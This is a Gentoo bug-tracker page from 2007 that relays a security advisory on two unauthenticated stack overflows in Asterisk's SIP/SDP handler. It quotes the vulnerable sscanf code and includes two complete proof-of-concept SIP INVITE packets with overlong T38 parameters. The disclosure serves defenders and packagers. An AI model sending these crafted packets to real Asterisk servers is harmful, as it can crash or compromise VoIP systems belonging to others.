Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 184205 - net-misc/asterisk Multiple Remote unauthenticated stack overflows in Asterisk chan_sip.c
Summary: net-misc/asterisk Multiple Remote unauthenticated stack overflows in Asterisk...
Status: RESOLVED INVALID
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High critical (vote)
Assignee: Gentoo Security
URL: http://permalink.gmane.org/gmane.comp...
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2007-07-04 16:52 UTC by Emanuele Gentili
Modified: 2007-07-15 09:53 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Emanuele Gentili 2007-07-04 16:52:29 UTC
Two closely related stack based buffer overflows exist in the SIP/SDP
handler of Asterisk, the vulnerabilities are very similar but exist as
two separate unsafe function calls. The T38FaxRateManagement and
T38FaxUdpEC SDP parameters can be exploited remotely leading to
arbitrary code execution without authentication.
In order for these overflows to occur, t38 fax over SIP must be enabled
in sip.conf
Examples of SIP INVITE packets are shown in the details section, however
these vulnerabilities can be triggered with a number of different SIP
messages affecting calls received by Asterisk, or in response to calls
made by Asterisk.

NGS would like to thank Digium and specifically Kevin P. Fleming for
liaising with us in resolving this issue promptly and responsibly.

Reproducible: Always

Actual Results:  
Remote Unauthenticated stack overflow in Asterisk SIP/SDP
T38FaxRateManagement parameter

A remote unauthenticated stack overflow exists in the SIP/SDP handler of
Asterisk. By sending a SIP packet with SDP data which includes an overly
long T38 parameter it is possible to overflow a stack based buffer and
execute arbitrary code.

The process_sdp function of chan_sip.c in Asterisk contains the
following vulnerable call to sscanf.

else if ((sscanf(a, "T38FaxRateManagement:%s", s) == 1)) {
                                found = 1;
                                if (option_debug > 2)

ast_log(LOG_DEBUG, "RateMangement: %s\n", s);
                                if (!strcasecmp(s, "localTCF"))
                                        peert38capability |=
T38FAX_RATE_MANAGEMENT_LOCAL_TCF;
                                else if (!strcasecmp(s, "transferredTCF"))
                                        peert38capability |=
T38FAX_RATE_MANAGEMENT_TRANSFERED_TCF;

This attempts to read the "T38FaxRateManagement:" option from the SDP
within a SIP packet and copy the succeeding string into "s". There are
no checks on the length of this string and we can therefore write past
the boundaries of the "s" variable overwriting adjacent memory on the
stack. "s" is defined earlier in this function as being a character
array of only 256 bytes.

The following example packet demonstrates an overflow of this parameter:

INVITE sip:200 <at> 127.0.0.1 SIP/2.0
Date: Wed, 21 Mar 2007 4:20:09 GMT
CSeq: 1 INVITE
Via: SIP/2.0/UDP
10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport
User-Agent: NGS/2.0
From: "Barrie Dempster"
<sip:zeedo <at> 10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672
Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672 <at> hades
To: <sip:200 <at> localhost>
Contact: <sip:zeedo <at> 10.0.0.123:5068;transport=udp>
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE
Content-Type: application/sdp
Content-Length: 796
Max-Forwards: 70

v=0
o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1
s=-
c=IN IP4 127.0.0.1
t=0 0
m=image 5004 UDPTL t38
a=T38FaxVersion:0
a=T38MaxBitRate:14400
a=T38FaxMaxBuffer:1024
a=T38FaxMaxDatagram:238
a=T38FaxRateManagement:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
a=T38FaxUdpEC:t38UDPRedundancy

-------------------------------------------------

Remote Unauthenticated stack overflow in Asterisk SIP/SDP T38FaxUdpEC
parameter

A remote unauthenticated stack overflow exists in the SIP/SDP handler of
Asterisk. By sending a SIP packet with SDP data which includes an overly
long T38FaxUdpEC parameter it is possible to overflow a stack based
buffer and execute arbitrary code.

The process_sdp function of chan_sip.c in Asterisk contains the
following vulnerable call to sscanf.

else if ((sscanf(a, "T38FaxUdpEC:%s", s) == 1)) {
                                found = 1;
                                if (option_debug > 2)
                                        ast_log(LOG_DEBUG, "UDP EC: %s\n",
s);
                                if (!strcasecmp(s, "t38UDPRedundancy")) {
                                        peert38capability |=
T38FAX_UDP_EC_REDUNDANCY;

ast_udptl_set_error_correction_scheme(p->udptl,
UDPTL_ERROR_CORRECTION_REDUNDANCY);

This attempts to read the "T38FaxUdpEC:" option from the SDP within a
SIP packet and copy the succeeding string into "s". There are no checks
on the length of this string and we can therefore write past the
boundaries of the "s" variable overwriting adjacent memory on the stack.
"s" is defined earlier in this function as being a character array of
only 256 bytes.
The following example packet demonstrates an overflow of this parameter:

INVITE sip:200 <at> 127.0.0.1 SIP/2.0
Date: Wed, 21 Mar 2007 4:20:09 GMT
CSeq: 1 INVITE
Via: SIP/2.0/UDP
10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport
User-Agent: NGS/2.0
From: "Barrie Dempster"
<sip:zeedo <at> 10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672
Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672 <at> hades
To: <sip:200 <at> localhost>
Contact: <sip:zeedo <at> 10.0.0.123:5068;transport=udp>
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE
Content-Type: application/sdp
Content-Length: 796
Max-Forwards: 70

v=0
o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1
s=-
c=IN IP4 127.0.0.1
t=0 0
m=image 5004 UDPTL t38
a=T38FaxVersion:0
a=T38MaxBitRate:14400
a=T38FaxMaxBuffer:1024
a=T38FaxMaxDatagram:238
a=T38FaxUdpEC:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Comment 1 Stefan Cornelius (RETIRED) gentoo-dev 2007-07-12 17:51:32 UTC
voip, please provide fixed ebuilds
Comment 2 Gustavo Zacarias (RETIRED) gentoo-dev 2007-07-12 20:35:16 UTC
This isn't reported to affect the 1.2 branch...
Comment 3 Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2007-07-15 09:53:45 UTC
Resolving as INVALID since 1.2.x is unaffected.